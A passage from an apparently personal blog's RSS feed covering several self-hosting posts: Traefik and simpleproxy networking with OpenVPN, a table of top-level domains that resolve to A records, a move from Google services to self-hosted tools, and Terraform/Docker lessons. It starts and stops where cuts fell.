  <span class="nv">internal</span> <span class="o">=</span> <span class="mi">80</span>
  <span class="nv">external</span> <span class="o">=</span> <span class="mi">80</span>
  <span class="nv">ip</span>       <span class="o">=</span> <span class="p">"</span><span class="si">${var</span><span class="err">.</span><span class="si">ips</span><span class="err">["</span><span class="si">tun0</span><span class="err">"]</span><span class="si">}</span><span class="p">"</span>
<span class="p">}</span>
</code></pre></div></div>

<p>There are 3 “services” exposed by Traefik on 3 ports:</p>

<dl>
  <dt>Traefik Admin Interface</dt>
  <dd>Useful for debugging. I leave this in Read-Only mode with no authentication. This is an <em>Internal</em> service</dd>
  <dt>HTTP, Port 80</dt>
  <dd>This redirects users to the next entrypoint (HTTPS). This is a <em>Public</em> service.</dd>
  <dt>HTTPS, Port 443</dt>
  <dd>This is where most of the traefik flows. This is a <em>Public</em> service.</dd>
</dl>

<p>For all 3 of the above, Docker forwards traffic from both OpenVPN, as well as the home network. OpenVPN lets me access this from my laptop when I’m not at home, which is helpful for debugging issues. However, to keep the Admin Interface internal, it is not published to the internet.</p>

<h1 id="internet-access">Internet Access</h1>

<p>The “bridge” between the Floating IP and the OpenVPN IP (both on the Digital Ocean droplet) is <code class="language-plaintext highlighter-rouge">simpleproxy</code>. It is a <a href="https://github.com/vzaliva/simpleproxy">barely-maintained 200 line TCP-proxy</a>. I picked it up because of its ease of use as a TCP Proxy. I specifically looked for a TCP Proxy because:</p>

<ol>
  <li>I did not want to terminate SSL on Digital Ocean, since Traefik was already doing LetsEncrypt cert management for me</li>
  <li>I also wanted to proxy non-web services (more below).</li>
</ol>

<p>The simpleproxy configuration consists of a few systemd units:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[Service]</span><span class="w">
</span><span class="py">Type</span><span class="p">=</span><span class="s">simple</span>
<span class="py">WorkingDirectory</span><span class="p">=</span><span class="s">/tmp</span>
<span class="c"># Forward Anchor IP 80 -&gt; Home Server VPN 80
</span><span class="py">ExecStart</span><span class="p">=</span><span class="s">/usr/bin/simpleproxy -L 10.47.0.5:80 -R 10.8.0.14:80</span>
<span class="py">Restart</span><span class="p">=</span><span class="s">on-abort</span>
<span class="w">
</span><span class="nn">[Install]</span><span class="w">
</span><span class="py">WantedBy</span><span class="p">=</span><span class="s">multi-user.target</span>
<span class="w">
</span><span class="nn">[Unit]</span><span class="w">
</span><span class="py">Description</span><span class="p">=</span><span class="s">Simple Proxy</span>
<span class="py">After</span><span class="p">=</span><span class="s">network.target</span>
</code></pre></div></div>

<p>I run 3 of these: 2 for HTTP/HTTPS, and another one for SSH.</p>

<p>While I use simpleproxy for its stability and simplicity, you could also use iptables to
achieve the same result.</p>

<h1 id="ssh-tunelling">SSH Tunelling</h1>

<p>When I’m on the go, there are 3 different SSH services I might need:</p>

<ol>
  <li>Digital Ocean Droplet</li>
  <li>Home Server</li>
  <li>Git (<code class="language-plaintext highlighter-rouge">gitea</code> runs its own internal git server)</li>
</ol>

<p>My initial plan was:</p>

<ol>
  <li>Forward Port 22 Floating IP Traffic to Gitea.</li>
  <li>Use the <code class="language-plaintext highlighter-rouge">eth0</code> interface on the droplet to run the droplet <code class="language-plaintext highlighter-rouge">sshd</code> service.</li>
  <li>Keep the Home Server SSH forwarded to OpenVPN, so I can access it over the VPN network.</li>
</ol>

<p>Unfortunately, that didn’t work out well, because <code class="language-plaintext highlighter-rouge">sshd</code> <a href="https://serverfault.com/questions/605446/make-sshd-listen-to-a-specific-interface">doesn’t support listening on an Interface</a>. I could have used the Public Droplet IP, but I didn’t like the idea.</p>

<p>The current setup instead involves:</p>

<ol>
  <li>Running the droplet <code class="language-plaintext highlighter-rouge">sshd</code> on a separate port entirely (2222).</li>
  <li>The <code class="language-plaintext highlighter-rouge">simpleproxy</code> service forwarding port 22 traefik to 2222 on OpenVPN IP which is then published by Docker to the <code class="language-plaintext highlighter-rouge">gitea</code> container’s port 22.</li>
</ol>

<p><a href="https://git.captnemo.in/nemo/nebula/src/branch/master/docker/conf/traefik.toml">The complete traefik configuration</a> is also available if you wanna look at the entrypoints in detail.</p>

<h1 id="caveats">Caveats</h1>

<h2 id="traefik-public-access">Traefik Public Access</h2>

<p>You might have noticed that because <code class="language-plaintext highlighter-rouge">traefik</code> is listening on both <code class="language-plaintext highlighter-rouge">eth0</code> and <code class="language-plaintext highlighter-rouge">tun0</code>, there is no guarantee of a “strictly internal” service via Traefik. Traefik just uses the Host headers in the request (or SNI) to determine the container to which it needs to forward the request. I use <code class="language-plaintext highlighter-rouge">*.in.bb8.fun</code> for internaly accessible services, and <code class="language-plaintext highlighter-rouge">*.bb8.fun</code> for public. But if someone decides to spoof the headers, they can access the Internal service.</p>

<p>Since I’m aware of the risk, I do not publish anything via traefik that I’m not comfortable putting on the internet. Only a couple of services are marked as “internal-also”, and are published on both. Services like Prometheus are not published via Traefik.</p>

<h2 id="2-servers">2 Servers</h2>

<p>Running and managing 2 servers takes a bit more effort, and has more moving parts.
But I use the droplet for other tasks as well (running my <a href="https://captnemo.in/dnscrypt/">DNSCrypt Server</a>, for eg).</p>

<h2 id="original-ip-address">Original IP Address</h2>

<p>Since SimpleProxy does not support the <a href="https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt">Proxy Protocol</a>,
both Traefik and Gitea/SSH servers don’t get informed about the original IP Address. I plan to fix that by switching to HAProxy TCP-mode.</p>

<hr />

<p>If you’re interested in my <a href="https://captnemo.in/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula/">the same server</a>, and I’ve been writing about my experience and learnings:</p>

<ol>
  <li><a href="https://captnemo.in/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
  <li><a href="https://captnemo.in/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
  <li><a href="https://captnemo.in/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
  <li><a href="https://captnemo.in/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>

<p>If you have any comments, <a href="https://captnemo.in/contact/">reach out to me</a></p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1">
      <p>If you get lucky with their customer support, some of the folks I know have a static public IP on their home setup. In my case, they asked me to upgrade to a corporate plan. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2">
      <p>I once scanned their entire network using <code class="language-plaintext highlighter-rouge">masscan</code>. It was fun: <a href="https://medium.com/@captn3m0/i-scanned-all-of-act-bangalore-customers-and-the-results-arent-surprising-fecf9d7fe775">https://medium.com/@captn3m0/i-scanned-all-of-act-bangalore-customers-and-the-results-arent-surprising-fecf9d7fe775</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3">
      <p>AWS calls its “permanent” IP addresses “Elastic” and Digital Ocean calls them “Floating”. We really need better names in this industry. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4">
      <p>Migrating to Wireguard is on my list, but I haven’t found any good documentation on running a hub-spoke network so far. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[A records on top level domains]]></title>
            <link>https://captnemo.in/blog/2018/02/09/tld-a-records/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2018/02/09/tld-a-records/</guid>
            <pubDate>Fri, 09 Feb 2018 00:00:00 GMT</pubDate>
            <description><![CDATA[Re-ran the same scan as http://blog.towo.eu/a-records-on-top-level-domains/
Scan run from AS9498.
Results:
TLD
      IP
    
ai
      209.59.119.34
    
android
      127.0.53.53
    
arab
      127.0.53.53
    
cal
      127.0.53.53
    
chrome
      127.0.53.53
    
cm
      195.24.205.60
    
dclk
      127.0.53.53
    
dk
      193.163.102.58
    
drive
      127.0.53.53
    
etisalat
      127.0.53.53
    
gg
      87.117.196.80
    
gle
      127.0.53.53
    
guge
      127.0.53.53
    
hangout
      127.0.53.53
    
je
      87.117.196.80
    
nexus
      127.0.53.53
    
pa
      168.77.8.43
    
play
      127.0.53.53
    
pn
      80.68.93.100
    
politie
      127.0.53.53
    
sport
      127.0.53.53
    
tk
      217.119.57.22
    
uz
      91.212.89.8
    
ws
      64.70.19.33
    
谷歌
      127.0.53.53
    
мон
      218.100.84.27
    
мон
      202.170.80.40
    
мон
      180.149.98.78
    
اتصالات
      127.0.53.53
    
政府
      127.0.53.53
    
عرب
      127.0.53.53
    
招聘
      127.0.53.53
    
グーグル
      127.0.53.53
    
Update: An automatically updated version of this is available at https://captnemo.in/tld-a-record/]]></description>
            <content:encoded><![CDATA[<p>Re-ran the same scan as http://blog.towo.eu/a-records-on-top-level-domains/</p>

<p>Scan run from <code class="language-plaintext highlighter-rouge">AS9498</code>.</p>

<p>Results:</p>

<table>
  <thead>
    <tr>
      <th>TLD</th>
      <th>IP</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>ai</td>
      <td>209.59.119.34</td>
    </tr>
    <tr>
      <td>android</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>arab</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>cal</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>chrome</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>cm</td>
      <td>195.24.205.60</td>
    </tr>
    <tr>
      <td>dclk</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>dk</td>
      <td>193.163.102.58</td>
    </tr>
    <tr>
      <td>drive</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>etisalat</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>gg</td>
      <td>87.117.196.80</td>
    </tr>
    <tr>
      <td>gle</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>guge</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>hangout</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>je</td>
      <td>87.117.196.80</td>
    </tr>
    <tr>
      <td>nexus</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>pa</td>
      <td>168.77.8.43</td>
    </tr>
    <tr>
      <td>play</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>pn</td>
      <td>80.68.93.100</td>
    </tr>
    <tr>
      <td>politie</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>sport</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>tk</td>
      <td>217.119.57.22</td>
    </tr>
    <tr>
      <td>uz</td>
      <td>91.212.89.8</td>
    </tr>
    <tr>
      <td>ws</td>
      <td>64.70.19.33</td>
    </tr>
    <tr>
      <td>谷歌</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>мон</td>
      <td>218.100.84.27</td>
    </tr>
    <tr>
      <td>мон</td>
      <td>202.170.80.40</td>
    </tr>
    <tr>
      <td>мон</td>
      <td>180.149.98.78</td>
    </tr>
    <tr>
      <td>اتصالات</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>政府</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>عرب</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>招聘</td>
      <td>127.0.53.53</td>
    </tr>
    <tr>
      <td>グーグル</td>
      <td>127.0.53.53</td>
    </tr>
  </tbody>
</table>

<p><em>Update</em>: An automatically updated version of this is available at https://captnemo.in/tld-a-record/</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Migrating from Google (and more)]]></title>
            <link>https://captnemo.in/blog/2017/12/31/migrating-from-google/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2017/12/31/migrating-from-google/</guid>
            <pubDate>Sun, 31 Dec 2017 00:00:00 GMT</pubDate>
            <description><![CDATA[Contents
Email
Google Play Music
Google Keep
Phone
      
microG Core
UnifiedLP
Maps
Uber
Calendar/Contacts
Google Play Store
LastPass
GitHub
As part of working on my home-server setup, I wanted to move off few online services to ones that I manage. This is a list of what all services I used and what I’ve migrated to .
Why: I got frustrated with Google Play Music a few times. Synced songs would not show up across all clients immediately (I had to refresh,uninstall,reinstall), and I hated the client limits it would impose. Decided to try microG on my phone at the same time, and it slowly came together.
Email
I’ve been using email on my own domain for quite some time (captnemo.in), but it was managed by a Outlook+Google combination that I didn’t like very much.
I switched to Migadu sometime last year, and have been quite happy with the service. Their Privacy Policy, and pro/cons section on the website is a pleasure to read.
Why: Email is the central-point of your online digital identity. Use your own-domain, at the very least. That way, you’re atleast protected if Google decides to suspend your account. Self-hosting email is a big responsibility that requires critical uptime, and I didn’t want to manage that, so went with migadu.
Why Migadu: You should read their HN thread.
Caviats: They don’t yet offer 2FA, but hopefully that should be fixed soon. Their spam filters aren’t the best either. Migadu even has a Drawbacks section on their website that you must read before signing up.
Alternatives: RiseUp, FastMail.
Google Play Music
I quite liked Google Play Music. While their subscription offering is horrible in India, I was a happy user of their “bring-your-own-music” plan. In fact, the most used Google service on my phone happened to be Google Play Music! I switched to a nice subsonic fork called [AirSonic][airsonic], which gives me the ability to:
Listen on as many devices as I want (Google has some limits)
Listen using multiple clients at the same time
Stream at whatever bandwidth I pick (I stream at 64kbps over 2G networks!)
I’m currently using Clementine on the Desktop (which unfortunately, doesn’t cache music), and UltraSonic on the phone. Airsonic even supports bookmarks, so listening to audiobooks becomes much more simpler.
Why: I didn’t like Google Play Music limits, plus I wanted to try the “phone-without-google” experiment.
Why AirSonic: Subsonic is now closed source, and the Libresonic developers forked off to AirSonic, which is under active development. It is supports across all devices that I use, while Ampache has spotty Android support.
Google Keep
I switched across to WorkFlowy, which has both a Android and a Linux app (both based on webviews). I’ve used it for years, and it is a great tool. Moreover, I’m also using DAVDroid sync for Open Tasks app on my phone. Both of these work well enough offline.
Why: I didn’t use Keep much, and WorkFlowy is a far better tool anyway.
Why WorkFlowy: It is the best note-taking/list tool I’ve used.
Phone
I switched over to the microG fork of lineageOS which offers a reverse-engineered implementation of the Google Play Services modules. It includes:
microG Core
Which talks to Google for Sync, Account purposes.
Why: Saves me a lot of battery. I can uninstall this, unlike Google Play Services.
Cons: Not all google services are supported very well. Push notifications have some issues on my phone. See the Wiki for Implementation Status.
UnifiedLP
Instead of the Google Location Provider. I use the Mozilla Location Services, along with Mozilla Stumbler to help improve their data.
Why: Google doesn’t need to know where I am.
Caviats: GALP (Google Assisted Location Provider) does GPS locks much faster in comparision. However, I’ve found the Mozilla Location Services coverage in Bangalore to be pretty good.
Maps
Stil looking for decent alternatives.
Uber
microG comes with a Google Maps shim that talks to Open Street Maps. The maps feature on Uber worked fine with that shim, however booking cabs was not always possible. I switched over to m.uber.com which worked quite well for some time.
Uber doesn’t really spend resources on their mobile site though, and it would ocassionaly stop working. Especially with regards to payments. I’ve switched over to the Ola mobile website, which works pretty well. I keep the OlaMoney app for recharging the OlaMoney wallet alongside.
Uber->Ola switch was also partially motivated by how-badly-run Uber is.
Calendar/Contacts
Most implementations support caldav/carddav for calendar/contacts sync. I’m using DAVDroid for syncing to a self-hosted Radicale Server.
Why: I’ve always had contacts synced to Google, so it was always my-single-source-of-truth for contacts. But since I’m on a different email provider now, it makes sense to move off those contacts as well. Radicale also lets me manage multiple addressbooks very easily.
Why Radicale: I looked around at alternatives, and 2 looked promising: Sabre.io, and Radicale. Sabre is no longer under development, so I picked Radicale, which also happened to have a regularly updated docker image.
Google Play Store
Switch to FDroid - It has some apps that Google doesn’t like, and some more. Moreover, you can use YALP Store to download any applications from the Play Store. You can even run a FDroid repository for the apps you use from Play Store, as an alternative. See this excellent guide on the various options.
Why: Play Store is tightly linked to Google Play Services, and doesn’t play nice with microG.
Why FDroid: FDroid has publicly verifiable builds, and tons of open-source applications.
Why Yalp: Was easy enough to setup.
If you’re looking to migrate to MicroG, I’d recommend going through the entire NO Gapps Setup Guide by shadow53 before proceeding.
LastPass
I’ve switched to pass along with a sync to keybase.
Why: LastPass has had multiple breaches, and a plethora of security issues (including 2 RCE vulnerabilities). Their fingerprint authentication on Android could be bypassed til recently. I just can’t trust them any more
Why pass: It is built on strong crypto primitives, is open-source, and has good integration with both i3 and firefox. There is also a LastPass migration script that I used.
Caviats: Website names are used as filenames in pass, so even though passwords are encrypted, you don’t want to push it to a public Git server (since that would expose the list of services you are using). I’m using my own git server, along with keybase git(which keeps it end-to-end encrypted, even branch names). You also need to be careful about your GPG keys, instead of a single master password.
GitHub
For bonus, I setup a Gitea server hosted at git.captnemo.in. Gitea is a fork of gogs, and is a single-binary go application that you can run easiy.
Just running it for fun, since I’m pretty happy with my GitHub setup. However, I might move some of my sensitive repos (such as this) to my own host.
Why Gitea: The other alternatives were gogs, and GitLab. There have been concerns about gogs development model, and GitLab was just too overpowered/heavy for my use case. (I’m using the home server for gaming as well, so it matters)
If you’re interested in my self-hosting setup, I’m using Terraform + Docker, the code is hosted on the same server, and I’ve been writing about my experience and learnings:
Part 1, Hardware
Part 2, Terraform/Docker
Part 3, Learnings
Part 4, Migrating from Google (and more)
Part 5, Home Server Networking
Part 6, btrfs RAID device replacement
If you have any comments, reach out to me]]></description>
            <content:encoded><![CDATA[<div class="toc">
  <h4 id="contents">Contents</h4>

  <ul>
    <li><a href="#email">Email</a></li>
    <li><a href="#google-play-music">Google Play Music</a></li>
    <li><a href="#google-keep">Google Keep</a></li>
    <li><a href="#phone">Phone</a>
      <ul>
        <li><a href="#microg-core">microG Core</a></li>
        <li><a href="#unifiedlp">UnifiedLP</a></li>
        <li><a href="#maps">Maps</a></li>
        <li><a href="#uber">Uber</a></li>
        <li><a href="#calendar-contacts">Calendar/Contacts</a></li>
        <li><a href="#google-play-store">Google Play Store</a></li>
      </ul>
    </li>
    <li><a href="#lastpass">LastPass</a></li>
    <li><a href="#github">GitHub</a></li>
  </ul>
</div>

<p>As part of working on my home-server setup, I wanted to move off few online services to ones that I manage. This is a list of what all services I used and what I’ve migrated to .</p>

<p><em>Why</em>: I got frustrated with <a href="https://music.google.com" title="Google Play Music">Google Play Music</a> a few times. Synced songs would not show up across all clients immediately (I had to refresh,uninstall,reinstall), and I hated the client limits it would impose. Decided to try <a href="https://microg.org/" title="MicroG is a free-as-in-freedom re-implementation of Google’s proprietary Android user space apps and libraries.">microG</a> on my phone at the same time, and it slowly came together.</p>

<h1 id="email">Email</h1>

<p>I’ve been using email on my own domain for quite some time (<code class="language-plaintext highlighter-rouge">captnemo.in</code>), but it was managed by a Outlook+Google combination that I didn’t like very much.</p>

<p>I switched to <a href="http://www.migadu.com/" title="Migadu is email hosting built and operated by humans">Migadu</a> sometime last year, and have been quite happy with the service. Their <a href="https://www.migadu.com/privacy/">Privacy Policy</a>, and <a href="https://www.migadu.com/procon/">pro/cons</a> section on the website is a pleasure to read.</p>

<p><em>Why</em>: Email is the central-point of your online digital identity. Use your own-domain, at the very least. That way, you’re atleast protected if Google decides to suspend your account. Self-hosting email is a big responsibility that requires critical uptime, and I didn’t want to manage that, so went with migadu.</p>

<p><em>Why Migadu</em>: You should read their <a href="https://news.ycombinator.com/item?id=13048334">HN thread</a>.</p>

<p><em>Caviats</em>: They don’t yet offer 2FA, but hopefully that should be fixed soon. Their spam filters aren’t the best either. Migadu even has a <a href="https://www.migadu.com/procon/#the-drawbacks-list">Drawbacks</a> section on their website that you <em>must read</em> before signing up.</p>

<p><em>Alternatives</em>: RiseUp, FastMail.</p>

<h1 id="google-play-music">Google Play Music</h1>

<p>I quite liked <a href="https://music.google.com" title="Google Play Music">Google Play Music</a>. While their subscription offering is horrible in India, I was a happy user of their “bring-your-own-music” plan. In fact, the most used Google service on my phone happened to be Google Play Music! I switched to a nice subsonic fork called [AirSonic][airsonic], which gives me the ability to:</p>

<ul>
  <li>Listen on as many devices as I want (Google has some limits)</li>
  <li>Listen using multiple clients at the same time</li>
  <li>Stream at whatever bandwidth I pick (I stream at 64kbps over 2G networks!)</li>
</ul>

<p>I’m currently using <a href="https://www.clementine-player.org/">Clementine</a> on the Desktop (which unfortunately, doesn’t cache music), and <a href="https://github.com/ultrasonic/ultrasonic/">UltraSonic</a> on the phone. Airsonic even supports bookmarks, so listening to audiobooks becomes much more simpler.</p>

<p><em>Why</em>: I didn’t like Google Play Music limits, plus I wanted to try the “phone-without-google” experiment.</p>

<p><em>Why AirSonic</em>: <a href="https://github.com/sindremehus/subsonic">Subsonic</a> is now closed source, and the <a href="https://www.reddit.com/r/selfhosted/comments/6saiac/airsonic_is_out/dlbea94/">Libresonic developers forked off to AirSonic</a>, which is under active development. It is supports across all devices that I use, while <a href="http://ampache.org/">Ampache</a> has spotty Android support.</p>

<h1 id="google-keep">Google Keep</h1>

<p>I switched across to <a href="https://workflowy.com">WorkFlowy</a>, which has both a Android and a Linux app (both based on webviews). I’ve used it for years, and it is a great tool. Moreover, I’m also using DAVDroid sync for Open Tasks app on my phone. Both of these work well enough offline.</p>

<p><em>Why</em>: I didn’t use Keep much, and WorkFlowy is a far better tool anyway.</p>

<p><em>Why WorkFlowy</em>: It is <em>the best</em> note-taking/list tool I’ve used.</p>

<h1 id="phone">Phone</h1>

<p>I switched over to the <a href="https://lineage.microg.org/">microG fork of lineageOS</a> which offers a reverse-engineered implementation of the Google Play Services modules. It includes:</p>

<h2 id="microg-core">microG Core</h2>

<p>Which talks to Google for Sync, Account purposes.</p>

<p><em>Why</em>: Saves me a lot of battery. I can uninstall this, unlike Google Play Services.</p>

<p><em>Cons</em>: Not all google services are supported very well. Push notifications have some issues on my phone. See the <a href="https://github.com/microg/android_packages_apps_GmsCore/wiki/Implementation-Status">Wiki</a> for Implementation Status.</p>

<h2 id="unifiedlp">UnifiedLP</h2>

<p>Instead of the Google Location Provider. I use the Mozilla Location Services, along with Mozilla Stumbler to help improve their data.</p>

<p><em>Why</em>: Google doesn’t need to know where I am.</p>

<p><em>Caviats</em>: GALP (Google Assisted Location Provider) does GPS locks much faster in comparision. However, I’ve found the Mozilla Location Services coverage in Bangalore to be pretty good.</p>

<h2 id="maps">Maps</h2>

<p>Stil looking for decent alternatives.</p>

<h2 id="uber">Uber</h2>

<p>microG comes with a Google Maps shim that talks to Open Street Maps. The maps feature on Uber worked fine with that shim, however booking cabs was not always possible. I switched over to <code class="language-plaintext highlighter-rouge">m.uber.com</code> which worked quite well for some time.</p>

<p>Uber doesn’t really spend resources on their mobile site though, and it would ocassionaly stop working. Especially with regards to payments. I’ve switched over to the Ola mobile website, which works pretty well. I keep the OlaMoney app for recharging the OlaMoney wallet alongside.</p>

<p>Uber-&gt;Ola switch was also partially motivated by <a href="https://www.theguardian.com/technology/2017/jun/18/uber-travis-kalanick-scandal-pr-disaster-timeline">how-badly-run Uber is</a>.</p>

<h2 id="calendarcontacts">Calendar/Contacts</h2>

<p>Most implementations support caldav/carddav for calendar/contacts sync. I’m using DAVDroid for syncing to a self-hosted <a href="https://radicale.org" title="A Free and Open-Source CalDAV and CardDAV Server, runs on Python">Radicale Server</a>.</p>

<p><em>Why</em>: I’ve always had contacts synced to Google, so it was always my-single-source-of-truth for contacts. But since I’m on a different email provider now, it makes sense to move off those contacts as well. Radicale also lets me manage multiple addressbooks very easily.</p>

<p><em>Why Radicale</em>: I looked <a href="https://github.com/Kickball/awesome-selfhosted#calendaring-and-contacts-management">around at alternatives</a>, and 2 looked promising: Sabre.io, and Radicale. Sabre is no longer under development, so I picked Radicale, which also happened to have a <a href="https://hub.docker.com/r/tomsquest/docker-radicale/">regularly updated docker image</a>.</p>

<h2 id="google-play-store">Google Play Store</h2>

<p>Switch to <a href="https://f-droid.org/">FDroid</a> - It has some apps that <a href="https://adaway.org/">Google doesn’t</a> <a href="https://newpipe.schabi.org/">like</a>, and some more. Moreover, you can use YALP Store to download any applications from the Play Store. You can even run a FDroid repository for the apps you use from Play Store, as an alternative. See <a href="https://shadow53.com/android/no-gapps/faq/can-i-use-the-official-play-store-with-microg/">this excellent</a> guide on the various options.</p>

<p><em>Why</em>: Play Store is tightly linked to Google Play Services, and doesn’t play nice with <a href="https://microg.org/" title="MicroG is a free-as-in-freedom re-implementation of Google’s proprietary Android user space apps and libraries.">microG</a>.</p>

<p><em>Why FDroid</em>: FDroid has <a href="https://f-droid.org/docs/Reproducible_Builds/?title=Deterministic,_Reproducible_Builds">publicly verifiable builds</a>, and tons of open-source applications.</p>

<p><em>Why Yalp</em>: Was easy enough to setup.</p>

<p>If you’re looking to migrate to MicroG, I’d recommend going through the entire <a href="https://shadow53.com/android/no-gapps/setup-guide/microg/">NO Gapps Setup Guide</a> by shadow53 before proceeding.</p>

<h1 id="lastpass">LastPass</h1>

<p>I’ve switched to <code class="language-plaintext highlighter-rouge">pass</code> along with a sync to keybase.</p>

<p><em>Why</em>: <a href="https://en.wikipedia.org/wiki/LastPass#Security_issues">LastPass has had multiple breaches</a>, and a plethora of security issues (including 2 RCE vulnerabilities). Their fingerprint authentication on Android could be bypassed til recently. <em>I just can’t trust them any more</em></p>

<p><em>Why pass</em>: It is built on strong crypto primitives, is open-source, and has good integration with both <a href="https://github.com/cdown/passmenu"><code class="language-plaintext highlighter-rouge">i3</code></a> and <a href="https://github.com/browserpass/browserpass-extension">firefox</a>. There is also a <a href="https://git.zx2c4.com/password-store/tree/contrib/importers/lastpass2pass.rb">LastPass migration script</a> that I used.</p>

<p><em>Caviats</em>: Website names are used as filenames in pass, so even though passwords are encrypted, you don’t want to push it to a public Git server (since that would expose the list of services you are using). I’m using my <a href="https://git.captnemo.in" title="Hosted by gitea, uptime not guaranteed">own git server</a>, along with keybase git(which keeps it end-to-end encrypted, even branch names). You also need to be careful about your GPG keys, instead of a single master password.</p>

<h1 id="github">GitHub</h1>

<p>For bonus, I setup a Gitea server hosted at <a href="https://git.captnemo.in" title="Hosted by gitea, uptime not guaranteed">git.captnemo.in</a>. <a href="https://gitea.io/en-US/">Gitea</a> is a fork of <a href="https://gogs.io/">gogs</a>, and is a single-binary go application that you can run easiy.</p>

<p>Just running it for fun, since I’m pretty happy with my GitHub setup. However, I might move some of my sensitive repos (such as <a href="https://github.com/captn3m0/dir-600l" title="Reverse engineered firmware for my D-Link 600L router">this</a>) to my own host.</p>

<p><em>Why Gitea</em>: The other alternatives were <code class="language-plaintext highlighter-rouge">gogs</code>, and GitLab. There have been concerns about gogs development model, and GitLab was just too overpowered/heavy for my use case. (I’m using the home server for gaming as well, so it matters)</p>

<hr />

<p>If you’re interested in my <a href="https://captnemo.in/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula" title="If this is down, wait">the same server</a>, and I’ve been writing about my experience and learnings:</p>

<ol>
  <li><a href="https://captnemo.in/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
  <li><a href="https://captnemo.in/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
  <li><a href="https://captnemo.in/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
  <li><a href="https://captnemo.in/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>

<p>If you have any comments, <a href="https://captnemo.in/contact/">reach out to me</a></p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Learnings from building my own home server]]></title>
            <link>https://captnemo.in/blog/2017/12/18/home-server-learnings/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2017/12/18/home-server-learnings/</guid>
            <pubDate>Mon, 18 Dec 2017 00:00:00 GMT</pubDate>
            <description><![CDATA[Learnings
I forgot to do this on the last blog post, so here is the list:
archlinux has official packages for intel-microcode-updates.
wireguard is almost there. I’m running openvpn for now, waiting for the stable release.
While traefik is great, I’m concerned about the security model it has for connecting to Docker (uses the docker unix socket over a docker mounted volume, which gives it root access on the host). Scary stuff.
Docker Labels are a great signalling mechanism. Update: After seeing multiple bugs with how traefik uses docker labels, they have limited use-cases but work great in those. Don’t try to over-architect them for all your metadata.
Terraform still needs a lot of work on their docker provider. A lot of updates destroy containers, which should be applied without needing a destroy.
I can’t proxy gitea’s SSH authentication easily, since traefik doesn’t support TCP proxying yet.
The docker_volume resource in terraform is useless, since it doesn’t give you any control over the volume location on the host. (This might be a docker limitation.)
The upload block inside a docker_container resource is a great idea. Lets you push configuration straight inside a container. This is how I push configuration straight inside the traefik container for eg:
    

upload {
  content = "${file("${path.module}/conf/traefik.toml")}"
  file    = "/etc/traefik/traefik.toml"
}

    
Advice
This section is if you’re venturing into a docker-heavy terraform setup:
Use traefik. Will save you a lot of pain with proxying requests.
Repeat the ports section for every IP you want to listen on. CIDRs don’t work.
If you want to run the container on boot, you want the following:
    

 restart = "unless-stopped"
 destroy_grace_seconds = 10
 must_run = true

    
If you have a single docker_registry_image resource in your state, you can’t run terraform without internet access.
Breaking your docker module into images.tf, volumes.tf, and data.tf (for registry_images) works quite well.
Memory limits on docker containers can be too contrained. Keep an eye on logs to see if anything is getting killed.
Setup Docker TLS auth first. I tried proxying Docker over apache with basic auth, but it didn’t work out well.
MongoDB with forceful server restarts
